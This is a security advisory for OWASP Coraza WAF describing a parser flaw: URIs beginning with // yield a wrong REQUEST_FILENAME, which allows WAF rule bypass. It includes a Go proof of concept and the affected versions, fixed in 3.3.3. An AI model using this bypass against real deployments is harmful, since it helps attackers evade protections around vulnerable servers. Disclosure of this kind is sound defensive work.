GHSA-q9f5-625g-xm39

Suggest an improvement
Source
https://github.com/advisories/GHSA-q9f5-625g-xm39
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/03/GHSA-q9f5-625g-xm39/GHSA-q9f5-625g-xm39.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-q9f5-625g-xm39
Aliases
Published
2025-03-20T18:48:38Z
Modified
2025-03-25T20:22:09.656996Z
Severity
  • 5.4 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N CVSS Calculator
Summary
OWASP Coraza WAF has parser confusion which leads to wrong URI in `REQUEST_FILENAME`
Details

Summary

URLs starting with // are not parsed properly, and the request REQUEST_FILENAME variable contains a wrong value, leading to potential rules bypass.

Details

If a request is made on an URI starting with //, coraza will set a wrong value in REQUEST_FILENAME. For example, if the URI //bar/uploads/foo.php?a=b is passed to coraza: , REQUEST_FILENAME will be set to /uploads/foo.php.

The root cause is the usage of url.Parse to parse the URI in ProcessURI.

url.Parse can parse both absolute URLs (starting with a scheme) or relative ones (just the path). //bar/uploads/foo.php is a valid absolute URI (the scheme is empty), url.Parse will consider bar as the host and the path will be set to /uploads/foo.php.

PoC

package main

import (
    "fmt"
    "net/url"
    "os"

    "github.com/corazawaf/coraza/v3"
)

const testRule = `
SecDebugLogLevel 9
SecDebugLog /dev/stdout
SecRule REQUEST_FILENAME "@rx /bar/uploads/.*\.(h?ph(p|tm?l?|ar)|module|shtml)" "id:1,phase:1,deny"
`

func main() {
    var testURL = "//bar/uploads/foo.php"

    if os.Getenv("TEST_URL") != "" {
        testURL = os.Getenv("TEST_URL")
    }

    fmt.Printf("Testing URL: %s\n", testURL)

    config := coraza.NewWAFConfig().WithDirectives(testRule)

    waf, err := coraza.NewWAF(config)

    if err != nil {
        panic(err)
    }

    tx := waf.NewTransaction()

    tx.ProcessURI(testURL, "GET", "HTTP/1.1")

    in := tx.ProcessRequestHeaders()

    if in != nil {
        fmt.Printf("%+v\n", in)
    }
}

Impact

Potential bypass of rules using REQUEST_FILENAME.

Database specific
{
    "nvd_published_at": "2025-03-20T18:15:18Z",
    "cwe_ids": [
        "CWE-706"
    ],
    "severity": "MODERATE",
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-20T18:48:38Z"
}
References

Affected packages

Go / github.com/jptosso/coraza-waf

Package

Name
github.com/jptosso/coraza-waf
View open source insights on deps.dev
Purl
pkg:golang/github.com/jptosso/coraza-waf

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
3.3.3

Go / github.com/corazawaf/coraza/v3

Package

Name
github.com/corazawaf/coraza/v3
View open source insights on deps.dev
Purl
pkg:golang/github.com/corazawaf/coraza/v3

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
3.3.3